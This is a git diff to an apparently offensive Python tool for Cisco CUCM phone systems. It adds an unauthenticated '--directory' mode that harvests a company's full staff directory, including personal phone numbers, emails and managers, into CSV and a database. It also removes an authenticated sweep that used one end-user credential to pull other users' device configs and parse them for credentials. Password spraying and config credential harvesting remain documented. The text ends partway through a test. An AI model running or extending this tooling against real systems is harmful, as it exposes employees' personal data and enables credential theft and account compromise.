diff --git a/README.md b/README.md index 9bd286e..8adb744 100644 --- a/README.md +++ b/README.md @@ -77,21 +77,29 @@ Extract usernames via CUCM UDS API: ./thief.py -H --userenum ``` -`--userenum` also harvests the full corporate directory from `/cucm-uds/users` — names, phone numbers, email, department, title, manager, and the per-user UUID — and stores it in the database (`uds_directory` table). This is the same anonymously-readable data phones use for the Directory button, so it works without credentials. View it later with `--show-db`, and when `--csv FILE` is supplied the directory is written to a companion `FILE-directory.csv` alongside the usernames `outfile`. +`--userenum` also harvests the full corporate directory from `/cucm-uds/users` — names (including nickname), phone/home/mobile/pager numbers, email, directory URI, MS URI, department, title, manager, and the per-user UUID — and stores it in the database (`uds_directory` table). This is the same anonymously-readable data phones use for the Directory button, so it works without credentials. View it later with `--show-db`. The directory is always written to `cucm_directory.csv` (override with `--directory-outfile`). -### Authenticated Device Discovery +### Harvest the unauthenticated directory (`--directory`) -Authenticate to the UDS API with a single end-user credential, enumerate **all** users from `/cucm-uds/users`, then query each user's associated SEP devices with that one credential. The discovered SEPs are deduped, and every config is downloaded and parsed for credentials: +Pull the CUCM corporate directory from the unauthenticated UDS endpoint +`/cucm-uds/users`, without the device probing, config downloads, or password +spraying that `--userenum` performs. Every field the endpoint exposes is +captured: username, first/middle/last/nick/display name, extension +(`phoneNumber`), home/mobile/pager numbers, email, directory URI, MS URI, +department, title, manager, and the per-user UUID. ```bash -./thief.py -H --uds-devices --uds-user jdoe --uds-password 'Passw0rd!' +uv run thief --directory -H ``` -Authorization reality: a standard end user can usually only read their own record, so on a strict server most users return *denied* and you mainly recover the authenticated user's own devices; on permissive or privileged setups you get the full set. The run prints an ok/denied/error tally so you can see how the server responded. +Results are always written to `cucm_directory.csv` (override with +`--directory-outfile`), printed as a console summary table, and stored in the +`uds_directory` table unless `--no-db` is set. -For each user the sweep queries **both** `/cucm-uds/user/{id}` and `/cucm-uds/user/{id}/devices` and unions the SEP names, so a host that misconfigures authorization on one endpoint but not the other still yields devices. This roughly doubles the request volume per user — tune with `-T/--threads`. - -`--uds-devices` requires `-H/--host`, `--uds-user`, and `--uds-password`. It needs **only end-user credentials** — no CCM Admin or AXL access is required. It honors `--uds-port` (default: 8443), `--no-db`, and `-T/--threads` for sweep concurrency. +**Note on DIDs:** the unauthenticated UDS directory has no dedicated DID field. +The `phoneNumber` element is the directory number / extension, which in some +dial plans is itself the full DID. True external DIDs require authenticated AXL +access and are out of scope for this unauthenticated path. ### Password Spray @@ -186,13 +194,12 @@ Export to CSV: ### Attack Options - `-b, --brute-mac`: Brute force MAC variations (4,096 combinations per phone). If no `-p` phones are given, reuses MAC prefixes discovered on a previous scan from the database (unless `--no-db`) - `--force`: Bypass cache and force re-download of all configuration files -- `--userenum`: Extract usernames via CUCM User Data Services (UDS) API (paginates the full directory) and harvest the full directory records (names, phone numbers, email, department, title, manager, UUID) into the `uds_directory` table; with `--csv FILE` also writes a companion `FILE-directory.csv` +- `--userenum`: Extract usernames via CUCM User Data Services (UDS) API (paginates the full directory) and harvest the full directory records (names incl. nickname, phone/home/mobile/pager numbers, email, directory URI, MS URI, department, title, manager, UUID) into the `uds_directory` table; always writes `cucm_directory.csv` (override with `--directory-outfile`) +- `--directory`: Harvest the unauthenticated CUCM corporate directory from `/cucm-uds/users` without any device probing or config downloads — requires `-H`; always writes `cucm_directory.csv` (override with `--directory-outfile`), prints a console table, and stores to `uds_directory` unless `--no-db` +- `--directory-outfile FILENAME`: Override the default CSV output path for `--directory` and `--userenum` (default: `cucm_directory.csv`) - `--servers`: Enumerate CUCM cluster members (hostnames + IPs) via UDS `/cucm-uds/servers` — requires `-H` - `--http`: Use HTTP (port 6970) as the primary config download protocol with TFTP fallback (default: TFTP first, HTTP fallback) -- `--uds-port PORT`: Override the CUCM UDS API HTTPS port for `--userenum` (default: 8443) -- `--uds-devices`: Authenticate to the UDS API with one end-user credential, enumerate **all** users, query each user's associated SEP devices with that credential, then dedupe and download + parse every discovered config (requires `-H`, `--uds-user`, and `--uds-password`; needs only end-user credentials — no admin/AXL access; prints an ok/denied/error tally) -- `--uds-user USERNAME`: End-user username for `--uds-devices` authentication -- `--uds-password PASSWORD`: End-user password for `--uds-devices` authentication +- `--uds-port PORT`: Override the CUCM UDS API HTTPS port for `--userenum`, `--directory`, and `--servers` (default: 8443) - `--spray`: Password-spray the UDS API (requires `-H`; mutually exclusive with `--brute-mac`) - `--spray-password PASSWORD`: Single password to spray across all eligible users - `-P, --passwords FILE`: Password list file; sprays each password in turn, sleeping ~1h between rounds diff --git a/src/seeyoucm_thief/thief.py b/src/seeyoucm_thief/thief.py index 28fb047..3965cc1 100644 --- a/src/seeyoucm_thief/thief.py +++ b/src/seeyoucm_thief/thief.py @@ -31,6 +31,8 @@ HTTP_TFTP_PORT = 6970 # CUCM User Data Services (UDS) API — HTTPS only, default 8443 UDS_PORT = 8443 +# Default output file for the standalone --directory harvest +DEFAULT_DIRECTORY_OUTFILE = 'cucm_directory.csv' # Well-known default filenames the CUCM TFTP service hosts in addition to # per-device SEP.cnf.xml configs. Always attempted so we can surface # firmware versions, trust-list presence, Jabber bootstrap config, etc. @@ -587,12 +589,15 @@ def get_users_api(cucm_host, port=UDS_PORT, timeout=10, max_pages=10000): _UDS_DIRECTORY_FIELDS = ( ('first_name', 'firstName'), ('middle_name', 'middleName'), + ('nick_name', 'nickName'), ('last_name', 'lastName'), ('display_name', 'displayName'), ('phone_number', 'phoneNumber'), ('home_number', 'homeNumber'), ('mobile_number', 'mobileNumber'), + ('pager', 'pager'), ('email', 'email'), + ('directory_uri', 'directoryUri'), ('ms_uri', 'msUri'), ('department', 'department'), ('title', 'title'), @@ -604,10 +609,10 @@ def get_users_api(cucm_host, port=UDS_PORT, timeout=10, max_pages=10000): def parse_uds_directory(xml_body): """Return a list of dicts, one per block in a /cucm-uds/users page. - Keys: username, first_name, middle_name, last_name, display_name, - phone_number, home_number, mobile_number, email, ms_uri, department, title, - manager, user_id. Missing fields are '' (empty string). A with no - is skipped.""" + Keys: username, first_name, middle_name, nick_name, last_name, + display_name, phone_number, home_number, mobile_number, pager, email, + directory_uri, ms_uri, department, title, manager, user_id. Missing fields + are '' (empty string). A with no is skipped.""" records = [] for block in re.findall(r']*>(.*?)', xml_body, re.DOTALL): name_match = re.search(r'([^<]+)', block) @@ -627,8 +632,9 @@ def get_user_directory_api(cucm_host, port=UDS_PORT, timeout=10, max_pages=10000 if _TEST_MODE: return [ {'username': 'testuser1', 'first_name': 'Test', 'middle_name': '', - 'last_name': 'One', 'display_name': 'Test One', 'phone_number': '1001', - 'home_number': '', 'mobile_number': '', 'email': 'testuser1@corp.test', + 'nick_name': '', 'last_name': 'One', 'display_name': 'Test One', + 'phone_number': '1001', 'home_number': '', 'mobile_number': '', + 'pager': '', 'email': 'testuser1@corp.test', 'directory_uri': 'testuser1@corp.test', 'ms_uri': '', 'department': 'IT', 'title': '', 'manager': '', 'user_id': 'uuid-testuser1'}, ] @@ -752,20 +758,24 @@ def record_uds_directory(cucm_host, records, db_file='thief.db'): for r in records: cursor.execute(''' INSERT INTO uds_directory - (cucm_host, username, first_name, middle_name, last_name, - display_name, phone_number, home_number, mobile_number, - email, ms_uri, department, title, manager, user_id, + (cucm_host, username, first_name, middle_name, nick_name, + last_name, display_name, phone_number, home_number, + mobile_number, pager, email, directory_uri, ms_uri, + department, title, manager, user_id, first_seen, last_seen) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ON CONFLICT(cucm_host, username) DO UPDATE SET first_name=excluded.first_name, middle_name=excluded.middle_name, + nick_name=excluded.nick_name, last_name=excluded.last_name, display_name=excluded.display_name, phone_number=excluded.phone_number, home_number=excluded.home_number, mobile_number=excluded.mobile_number, + pager=excluded.pager, email=excluded.email, + directory_uri=excluded.directory_uri, ms_uri=excluded.ms_uri, department=excluded.department, title=excluded.title, @@ -774,10 +784,12 @@ def record_uds_directory(cucm_host, records, db_file='thief.db'): last_seen=excluded.last_seen ''', ( cucm_host, r.get('username', ''), r.get('first_name', ''), - r.get('middle_name', ''), r.get('last_name', ''), - r.get('display_name', ''), r.get('phone_number', ''), - r.get('home_number', ''), r.get('mobile_number', ''), - r.get('email', ''), r.get('ms_uri', ''), r.get('department', ''), + r.get('middle_name', ''), r.get('nick_name', ''), + r.get('last_name', ''), r.get('display_name', ''), + r.get('phone_number', ''), r.get('home_number', ''), + r.get('mobile_number', ''), r.get('pager', ''), + r.get('email', ''), r.get('directory_uri', ''), + r.get('ms_uri', ''), r.get('department', ''), r.get('title', ''), r.get('manager', ''), r.get('user_id', ''), timestamp, timestamp, )) @@ -972,15 +984,6 @@ def parse_uds_devices(xml_body): return re.findall(r'(SEP[0-9A-Fa-f]{12})', xml_body) -def parse_uds_device_collection(xml_body): - """Extract SEP device names from a /cucm-uds/user/{id}/devices response body. - - That endpoint wraps each device in a element with child fields; the - SEP name lives in SEP… (unlike the /user/{id} associatedDevices - shape, where it is the bare text — see parse_uds_devices).""" - return re.findall(r'(SEP[0-9A-Fa-f]{12})', xml_body) - - def log_uds_device(cucm_host, username, device_name, source, db_file='thief.db'): """Insert a (cucm_host, username, device_name) row into uds_devices; ignores duplicates.""" timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S') @@ -1052,120 +1055,6 @@ def worker(): return found_count -def enumerate_devices_authenticated(cucm_host, username, password, port, usernames, - db_file, threads=10, no_db=False, _probe_fn=None): - """ - Query each target username's UDS devices using the single (username, password) - credential, in parallel. Logs found SEP names to uds_devices with - source='uds_auth' (recording the target username) unless no_db is True. - - Returns: - { - 'devices': {target_username: [SEP names]}, # only users with >=1 device - 'ok': int, # targets that returned HTTP 200 - 'denied': int, # targets that returned 401 - 'errors': int, # targets that returned an error/other status - } - _probe_fn(cucm_host, username, password, port, target_user) is injectable for - testing; defaults to get_user_devices_authenticated. - """ - if _probe_fn is None: - def _probe_fn(c_host, c_user, c_pass, c_port, t_user): - return get_user_devices_authenticated(c_host, c_user, c_pass, port=c_port, target_user=t_user) - - result = {'devices': {}, 'ok': 0, 'denied': 0, 'errors': 0} - lock = threading.Lock() - work = queue.Queue() - for u in usernames: - work.put(u) - - def worker(): - while True: - try: - target_user = work.get_nowait() - except queue.Empty: - return - status, devices = _probe_fn(cucm_host, username, password, port, target_user) - with lock: - if status == 'ok': - result['ok'] += 1 - if devices: - result['devices'][target_user] = devices - elif status == 'unauthorized': - result['denied'] += 1 - else: - result['errors'] += 1 - if status == 'ok' and devices and not no_db: - for device_name in devices: - log_uds_device(cucm_host, target_user, device_name, 'uds_auth', db_file) - - thread_list = [threading.Thread(target=worker, daemon=True) - for _ in range(max(1, min(threads, len(usernames))))] - for t in thread_list: - t.start() - for t in thread_list: - t.join() - return result - - -def get_user_devices_authenticated(cucm_host, username, password, port=UDS_PORT, timeout=10, target_user=None): - """ - Authenticated UDS device lookup for one user, querying BOTH endpoints that - can expose device names and unioning the results — so a server that - misconfigures authorization on one but not the other still yields devices: - - /cucm-uds/user/{target} -> SEP… (associatedDevices) - - /cucm-uds/user/{target}/devices -> SEP… (device collection) - - Authenticates as (username, password) via HTTP Basic auth. target_user - defaults to username (your own record). A different target_user queries - another user's record with the same credential; the server decides whether - to authorize it. - - Returns (status, devices): - 'ok' — at least one endpoint returned HTTP 200; devices is the - order-preserving deduped union of SEPs from both. - 'unauthorized' — neither returned 200 but at least one returned HTTP 401. - 'error' — neither returned 200 or 401 (network failure / other). - """ - target = target_user if target_user is not None else username - base = f'https://{cucm_host}:{port}/cucm-uds/user/{quote(target, safe="")}' - endpoints = ( - (base, parse_uds_devices), - (f'{base}/devices', parse_uds_device_collection), - ) - - statuses = [] - devices = [] - for url, parser in endpoints: - dbg(f'UDS authed GET {url} (timeout={timeout}s)') - try: - resp = requests.get(url, auth=(username, password), verify=False, timeout=timeout) - except Exception as e: - dbg(f'UDS authed {url} raised {type(e).__name__}: {e}') - statuses.append('error') - continue - dbg(f'UDS authed {url} -> {resp.status_code} ({len(resp.content)} bytes)') - if resp.status_code == 200: - statuses.append('ok') - devices.extend(parser(resp.text)) - elif resp.status_code == 401: - statuses.append('unauthorized') - else: - dbg(f'UDS authed non-200/401 body (first 300 chars): {resp.text[:300]!r}') - statuses.append('error') - - if 'ok' in statuses: - status = 'ok' - elif 'unauthorized' in statuses: - status = 'unauthorized' - else: - status = 'error' - - seen = set() - deduped = [d for d in devices if not (d in seen or seen.add(d))] - return status, deduped - - def download_uds_discovered_configs(cucm_host, device_names, db_file, use_tftp=True, no_db=False): """ Download and parse SEP config files for devices discovered via UDS. @@ -1279,8 +1168,7 @@ def _spray_worker(work_queue, results, password, cucm_host, port, db_file, dead_ if status_code == 200 and resp is not None: # Spray hits only the base /cucm-uds/user/{id} endpoint, so the - # associatedDevices parser is correct here (device discovery's - # two-endpoint union lives in get_user_devices_authenticated). + # associatedDevices parser is correct here. for device_name in parse_uds_devices(resp.text): log_uds_device(cucm_host, username, device_name, 'spray_hit', db_file) @@ -1579,9 +1467,10 @@ def search_for_secrets(CUCM_host, filename, use_tftp=True): return credentials, usernames _DIRECTORY_CSV_COLUMNS = ( - 'username', 'first_name', 'last_name', 'display_name', 'phone_number', - 'home_number', 'mobile_number', 'email', 'ms_uri', 'department', 'title', - 'manager', 'user_id', + 'username', 'first_name', 'middle_name', 'nick_name', 'last_name', + 'display_name', 'phone_number', 'home_number', 'mobile_number', 'pager', + 'email', 'directory_uri', 'ms_uri', 'department', 'title', 'manager', + 'user_id', ) @@ -1602,6 +1491,20 @@ def export_directory_to_csv(records, filename): writer.writerow([r.get(col, '') for col in _DIRECTORY_CSV_COLUMNS]) +def print_directory_table(records): + """Print a console summary of harvested UDS directory records: + username | extension (phoneNumber) | display name. Display name falls back + to 'first last' when displayName is empty.""" + print("-" * 70) + print(f'{"Username":<20} {"Extension":<12} {"Name"}') + print("-" * 70) + for r in records: + name = r.get('display_name') or ' '.join( + p for p in (r.get('first_name', ''), r.get('last_name', '')) if p + ) + print(f'{r.get("username", ""):<20} {r.get("phone_number", ""):<12} {name}') + + def export_to_csv(credentials, usernames, filename='seeyoucm_results.csv'): """ Export discovered credentials and usernames to CSV file @@ -1766,12 +1669,15 @@ def init_database(db_file='thief.db'): username TEXT NOT NULL, first_name TEXT, middle_name TEXT, + nick_name TEXT, last_name TEXT, display_name TEXT, phone_number TEXT, home_number TEXT, mobile_number TEXT, + pager TEXT, email TEXT, + directory_uri TEXT, ms_uri TEXT, department TEXT, title TEXT, @@ -1782,6 +1688,13 @@ def init_database(db_file='thief.db'): UNIQUE(cucm_host, username) ) ''') + # Migrate pre-existing uds_directory tables that lack the newer columns + # (CREATE TABLE IF NOT EXISTS won't add columns to an already-created table). + cursor.execute('PRAGMA table_info(uds_directory)') + _existing_cols = {row[1] for row in cursor.fetchall()} + for _col in ('nick_name', 'pager', 'directory_uri'): + if _col not in _existing_cols: + cursor.execute(f'ALTER TABLE uds_directory ADD COLUMN {_col} TEXT') # Create table for every spray attempt against the UDS user endpoint cursor.execute(''' @@ -2669,16 +2582,14 @@ def main(): parser.add_argument('-T','--threads', type=int, default=40, help='Number of worker threads for brute force mode (default: 40)') parser.add_argument('--force', action='store_true', default=False, help='Bypass cache and force re-download of all configuration files') parser.add_argument('--userenum', action='store_true', default=False, help='Extract usernames via CUCM User Data Services (UDS) API') + parser.add_argument('--directory', action='store_true', default=False, + help='Harvest the unauthenticated UDS corporate directory (users + extensions + contact fields) and exit. Always writes a CSV and prints a summary table. Requires -H.') + parser.add_argument('--directory-outfile', type=str, default=DEFAULT_DIRECTORY_OUTFILE, metavar='FILENAME', + help=f'Output CSV for --directory (default: {DEFAULT_DIRECTORY_OUTFILE})') parser.add_argument('--servers', action='store_true', default=False, help='Enumerate the CUCM cluster topology via UDS /cucm-uds/servers (requires -H)') parser.add_argument('--http', action='store_true', default=False, help='Use HTTP (port 6970) as the primary download protocol, with TFTP fallback (default: TFTP first, HTTP fallback)') parser.add_argument('--uds-port', type=int, default=UDS_PORT, - help=f'CUCM UDS API HTTPS port for UDS-based features (--userenum, --servers, --uds-devices; default: {UDS_PORT})') - parser.add_argument('--uds-devices', action='store_true', default=False, - help='Discover SEP devices associated with a single end user via authenticated UDS, then download + parse their configs (requires -H, --uds-user, --uds-password; no admin privileges needed)') - parser.add_argument('--uds-user', type=str, default=None, - help='End-user username for --uds-devices authentication') - parser.add_argument('--uds-password', type=str, default=None, - help='End-user password for --uds-devices authentication') + help=f'CUCM UDS API HTTPS port for UDS-based features (--userenum, --directory, --servers; default: {UDS_PORT})') # Password spray (UDS Basic Auth against /cucm-uds/user/{userid}) parser.add_argument('--spray', action='store_true', default=False, help='Password-spray the UDS API (requires -H; mutually exclusive with --brute-mac)') @@ -2758,9 +2669,9 @@ def main(): conn = sqlite3.connect(db_file) cur = conn.cursor() if cucm_filter: - cur.execute('SELECT username, first_name, last_name, display_name, phone_number, home_number, mobile_number, email, ms_uri, department, title, manager, user_id FROM uds_directory WHERE cucm_host = ? ORDER BY username', (cucm_filter,)) + cur.execute('SELECT username, first_name, middle_name, nick_name, last_name, display_name, phone_number, home_number, mobile_number, pager, email, directory_uri, ms_uri, department, title, manager, user_id FROM uds_directory WHERE cucm_host = ? ORDER BY username', (cucm_filter,)) else: - cur.execute('SELECT username, first_name, last_name, display_name, phone_number, home_number, mobile_number, email, ms_uri, department, title, manager, user_id FROM uds_directory ORDER BY username') + cur.execute('SELECT username, first_name, middle_name, nick_name, last_name, display_name, phone_number, home_number, mobile_number, pager, email, directory_uri, ms_uri, department, title, manager, user_id FROM uds_directory ORDER BY username') dir_rows = cur.fetchall() conn.close() if dir_rows: @@ -2930,6 +2841,24 @@ def main(): print(f'[+] Logged {inserted} new cluster server entry/entries to database') quit(0) + if args.directory: + if not CUCM_host: + print('--directory requires -H/--host to specify the CUCM server') + quit(1) + print(f'Harvesting UDS directory from https://{CUCM_host}:{args.uds_port}/cucm-uds/users') + records = get_user_directory_api(CUCM_host, port=args.uds_port) + if not records: + print('[-] No directory records returned. Re-run with -d for request/response details.') + quit(0) + print(f'[+] Retrieved {len(records)} directory record(s):') + print_directory_table(records) + if not no_db: + written = record_uds_directory(CUCM_host, records, db_file) + print(f'[+] Stored {written} directory record(s) in database') + export_directory_to_csv(records, args.directory_outfile) + print(f'[+] Directory written to {args.directory_outfile}') + quit(0) + if args.userenum: if not CUCM_host: print('--userenum requires -H/--host to specify the CUCM server') @@ -2959,8 +2888,10 @@ def main(): if csv_output: base_csv = csv_output if csv_output is not True else 'seeyoucm_results.csv' dir_csv = _directory_csv_name(base_csv) - export_directory_to_csv(directory, dir_csv) - print(f'[+] Directory exported to CSV: {dir_csv}') + else: + dir_csv = args.directory_outfile + export_directory_to_csv(directory, dir_csv) + print(f'[+] Directory written to {dir_csv}') if not no_db: print(f'[*] Probing UDS for associated devices (unauthenticated)...') found = enumerate_devices_unauthenticated( @@ -2984,42 +2915,6 @@ def main(): print('[-] No users returned from UDS API. Re-run with -d for request/response details.') quit(0) - if args.uds_devices: - if not CUCM_host: - print('--uds-devices requires -H/--host to specify the CUCM server') - quit(1) - if not args.uds_user or not args.uds_password: - print('--uds-devices requires both --uds-user and --uds-password') - quit(1) - - print(f'Enumerating users from https://{CUCM_host}:{args.uds_port}/cucm-uds/users') - users = get_users_api(CUCM_host, port=args.uds_port) - if not users: - print('[-] No users returned from UDS — cannot sweep devices (run with -d for details)') - quit(0) - - print(f'[*] Sweeping devices for {len(users)} user(s) using credentials for {args.uds_user!r}...') - sweep = enumerate_devices_authenticated( - CUCM_host, args.uds_user, args.uds_password, args.uds_port, - users, db_file, threads=threads, no_db=no_db, - ) - - all_seps = sorted({dev for devs in sweep['devices'].values() for dev in devs}) - print(f'[+] Sweep complete: {sweep["ok"]} ok, {sweep["denied"]} denied, ' - f'{sweep["errors"]} error(s); {len(all_seps)} unique device(s) found across ' - f'{len(sweep["devices"])} user(s)') - for target_user in sorted(sweep['devices']): - print(f' {target_user}: {", ".join(sorted(sweep["devices"][target_user]))}') - - if not all_seps: - quit(0) - - hits = download_uds_discovered_configs( - CUCM_host, all_seps, db_file, use_tftp=use_tftp, no_db=no_db, - ) - print(f'[+] Config download complete: {hits}/{len(all_seps)} configs yielded credentials') - quit(0) - if args.spray: if not CUCM_host: print('--spray requires -H/--host to specify the CUCM server') diff --git a/tests/test_cli_directory.py b/tests/test_cli_directory.py new file mode 100644 index 0000000..767c5a5 --- /dev/null +++ b/tests/test_cli_directory.py @@ -0,0 +1,96 @@ +import csv +import os +import pathlib +import sqlite3 +import subprocess + +_THIEF = str(pathlib.Path(__file__).resolve().parent.parent / "thief.py") + + +def _env(): + env = os.environ.copy() + env["PYTEST_CURRENT_TEST"] = "1" + return env + + +def test_directory_requires_host(): + result = subprocess.run( + ["python3", _THIEF, "--directory"], + capture_output=True, text=True, env=_env(), + ) + assert result.returncode == 1 + assert "--directory requires -H/--host" in result.stdout + + +def test_directory_writes_csv_and_table_without_csv_flag(tmp_path): + out_csv = tmp_path / "dir.csv" + db_path = tmp_path / "d.db" + result = subprocess.run( + ["python3", _THIEF, "--directory", "-H", "mock-cucm", + "--directory-outfile", str(out_csv), "--db", str(db_path)], + capture_output=True, text=True, env=_env(), + ) + assert result.returncode == 0, result.stdout + result.stderr + # console table rendered + assert "Extension" in result.stdout + assert "testuser1" in result.stdout and "1001" in result.stdout + # CSV written even though --csv was never passed + assert out_csv.exists() + with out_csv.open(newline="") as fh: + rows = list(csv.reader(fh)) + assert rows[0][0] == "username" # header from _DIRECTORY_CSV_COLUMNS + # full field set, not a subset — including the fields added later + for col in ("middle_name", "nick_name", "pager", "directory_uri"): + assert col in rows[0] + assert any("testuser1" in r for r in rows[1:]) + conn = sqlite3.connect(str(db_path)) + try: + count = conn.execute("SELECT COUNT(*) FROM uds_directory").fetchone()[0] + finally: + conn.close() + assert count >= 1 + + +def test_directory_no_db_still_writes_csv(tmp_path): + out_csv = tmp_path / "dir.csv" + result = subprocess.run( + ["python3", _THIEF, "--directory", "-H", "mock-cucm", + "--directory-outfile", str(out_csv), "--no-db"], + capture_output=True, text=True, env=_env(), + ) + assert result.returncode == 0, result.stdout + result.stderr + assert out_csv.exists() + assert "testuser1" in result.stdout + + +def test_userenum_writes_directory_without_csv_flag(tmp_path): + db_path = tmp_path / "u.db" + out_users = tmp_path / "users.txt" + result = subprocess.run( + ["python3", _THIEF, + "--userenum", "-H", "mock-cucm", + "--db", str(db_path), "--outfile", str(out_users)], + capture_output=True, text=True, env=_env(), cwd=str(tmp_path), + ) + assert result.returncode == 0, result.stdout + result.stderr + # The default directory CSV is created even though --csv was not passed. + expected = tmp_path / "cucm_directory.csv" + assert expected.exists(), result.stdout + assert "Directory written to" in result.stdout + + +def test_userenum_honors_directory_outfile(tmp_path): + db_path = tmp_path / "u.db" + out_users = tmp_path / "users.txt" + custom = tmp_path / "custom_dir.csv" + result = subprocess.run( + ["python3", _THIEF, + "--userenum", "-H", "mock-cucm", + "--db", str(db_path), "--outfile", str(out_users), + "--directory-outfile", str(custom)], + capture_output=True, text=True, env=_env(), + ) + assert result.returncode == 0, result.stdout + result.stderr + # --userenum (no --csv) writes the directory to the --directory-outfile path. + assert custom.exists(), result.stdout + assert (tmp_path / "cucm_directory.csv").exists() is False diff --git a/tests/test_cli_uds_devices.py b/tests/test_cli_uds_devices.py deleted file mode 100644 index a6dc833..0000000 --- a/tests/test_cli_uds_devices.py +++ /dev/null @@ -1,28 +0,0 @@ -import os -import subprocess - - -def test_uds_devices_requires_host(): - env = os.environ.copy() - env["PYTEST_CURRENT_TEST"] = "1" - result = subprocess.run( - ["python3", "thief.py", "--uds-devices"], - capture_output=True, - text=True, - env=env, - ) - assert result.returncode == 1 - assert "--uds-devices requires -H/--host" in result.stdout - - -def test_uds_devices_requires_credentials(): - env = os.environ.copy() - env["PYTEST_CURRENT_TEST"] = "1" - result = subprocess.run( - ["python3", "thief.py", "--uds-devices", "-H", "1.2.3.4"], - capture_output=True, - text=True, - env=env, - ) - assert result.returncode == 1 - assert "--uds-devices requires both --uds-user and --uds-password" in result.stdout diff --git a/tests/test_directory.py b/tests/test_directory.py new file mode 100644 index 0000000..5b04976 --- /dev/null +++ b/tests/test_directory.py @@ -0,0 +1,25 @@ +from seeyoucm_thief import thief + + +def test_print_directory_table_renders_rows(capsys): + records = [ + {'username': 'jdoe', 'phone_number': '1001', 'display_name': 'John Doe'}, + {'username': 'asmith', 'phone_number': '1002', 'first_name': 'Ann', + 'last_name': 'Smith', 'display_name': ''}, + ] + thief.print_directory_table(records) + out = capsys.readouterr().out + # header columns present + assert 'Username' in out + assert 'Extension' in out + # row data present + assert 'jdoe' in out and '1001' in out and 'John Doe' in out + # falls back to first+last when display_name is empty + assert 'asmith' in out and '1002' in out and 'Ann Smith' in out + + +def test_print_directory_table_empty_is_safe(capsys): + thief.print_directory_table([]) + out = capsys.readouterr().out + # header still prints; no crash + assert 'Username' in out diff --git a/tests/test_uds_devices.py b/tests/test_uds_devices.py index 4d07dc1..c89b875 100644 --- a/tests/test_uds_devices.py +++ b/tests/test_uds_devices.py @@ -64,40 +64,6 @@ def test_parse_uds_devices_ignores_non_sep_device_names(): assert thief.parse_uds_devices(xml) == ["SEP001122334455"] -# --------------------------------------------------------------------------- -# parse_uds_device_collection (/cucm-uds/user/{id}/devices shape) -# --------------------------------------------------------------------------- - -UDS_DEVICE_COLLECTION_XML = """ - - - 1 - SEP001122334455 - Cisco 8845 - alice desk - - - 2 - SEP667788990011 - Cisco 7841 - -""" - - -def test_parse_uds_device_collection_returns_sep_names(): - assert thief.parse_uds_device_collection(UDS_DEVICE_COLLECTION_XML) == [ - "SEP001122334455", "SEP667788990011"] - - -def test_parse_uds_device_collection_empty_on_user_object_shape(): - # The /user/{id} associatedDevices shape has no SEP… tags - assert thief.parse_uds_device_collection(UDS_USER_XML) == [] - - -def test_parse_uds_device_collection_empty_on_blank(): - assert thief.parse_uds_device_collection("") == [] - - # --------------------------------------------------------------------------- # uds_devices DB table # --------------------------------------------------------------------------- @@ -148,174 +114,6 @@ def test_get_user_devices_unauthenticated_returns_empty_on_network_error(): assert devices == [] -# --------------------------------------------------------------------------- -# get_user_devices_authenticated -# --------------------------------------------------------------------------- - -def test_get_user_devices_authenticated_returns_ok_and_devices_on_200(): - fake_resp = MagicMock(status_code=200, text=UDS_USER_XML) - with patch.object(thief.requests, 'get', return_value=fake_resp) as mock_get: - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "Summer2025!", port=8443) - assert status == "ok" - assert devices == ["SEP001122334455", "SEP667788990011"] - # Must send Basic auth as the end user - for c in mock_get.call_args_list: - assert c.kwargs.get('auth') == ("alice", "Summer2025!") - called = [c.args[0] for c in mock_get.call_args_list] - assert "https://cucm.example.com:8443/cucm-uds/user/alice" in called - assert "https://cucm.example.com:8443/cucm-uds/user/alice/devices" in called - - -def test_get_user_devices_authenticated_queries_target_user_with_caller_auth(): - fake_resp = MagicMock(status_code=200, text=UDS_USER_XML) - with patch.object(thief.requests, 'get', return_value=fake_resp) as mock_get: - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "Summer2025!", port=8443, target_user="bob") - assert status == "ok" - assert devices == ["SEP001122334455", "SEP667788990011"] - called = [c.args[0] for c in mock_get.call_args_list] - assert "https://cucm.example.com:8443/cucm-uds/user/bob" in called - assert "https://cucm.example.com:8443/cucm-uds/user/bob/devices" in called - for c in mock_get.call_args_list: - assert c.kwargs.get('auth') == ("alice", "Summer2025!") - - -def test_get_user_devices_authenticated_defaults_target_to_auth_user(): - fake_resp = MagicMock(status_code=200, text=UDS_USER_XML) - with patch.object(thief.requests, 'get', return_value=fake_resp) as mock_get: - thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - called = [c.args[0] for c in mock_get.call_args_list] - assert "https://cucm.example.com:8443/cucm-uds/user/alice" in called - assert "https://cucm.example.com:8443/cucm-uds/user/alice/devices" in called - - -def test_get_user_devices_authenticated_returns_unauthorized_on_401(): - fake_resp = MagicMock(status_code=401, text="") - with patch.object(thief.requests, 'get', return_value=fake_resp): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "wrong", port=8443) - assert status == "unauthorized" - assert devices == [] - - -def test_get_user_devices_authenticated_returns_error_on_network_failure(): - with patch.object(thief.requests, 'get', - side_effect=requests.exceptions.ConnectTimeout("boom")): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "error" - assert devices == [] - - -def test_get_user_devices_authenticated_returns_ok_empty_when_no_devices(): - fake_resp = MagicMock(status_code=200, text=UDS_USER_XML_NO_DEVICES) - with patch.object(thief.requests, 'get', return_value=fake_resp): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "bob", "pw", port=8443) - assert status == "ok" - assert devices == [] - - -def test_get_user_devices_authenticated_returns_error_on_unexpected_status(): - fake_resp = MagicMock(status_code=403, text="Forbidden") - with patch.object(thief.requests, 'get', return_value=fake_resp): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "error" - assert devices == [] - - -def test_get_user_devices_authenticated_unions_both_endpoints(): - # base returns one unique SEP; /devices returns a different one. - base_resp = MagicMock( - status_code=200, - text="" - "SEP001122334455" - "", - ) - devices_resp = MagicMock( - status_code=200, - text="SEPAABBCCDDEEFF", - ) - - def side_effect(url, **kwargs): - return devices_resp if url.endswith('/devices') else base_resp - - with patch.object(thief.requests, 'get', side_effect=side_effect) as mock_get: - status, devices = thief.get_user_devices_authenticated( - 